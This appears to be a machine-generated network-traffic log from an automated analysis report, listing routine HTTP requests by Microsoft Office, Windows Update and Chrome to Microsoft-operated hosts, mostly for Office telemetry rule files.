Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: 0x8DCEC757C1AD1D1If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: 0x8DCEC757C1AD1D1If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1ChdEyHYRNkdE3F&MD=2f2hpuyv HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
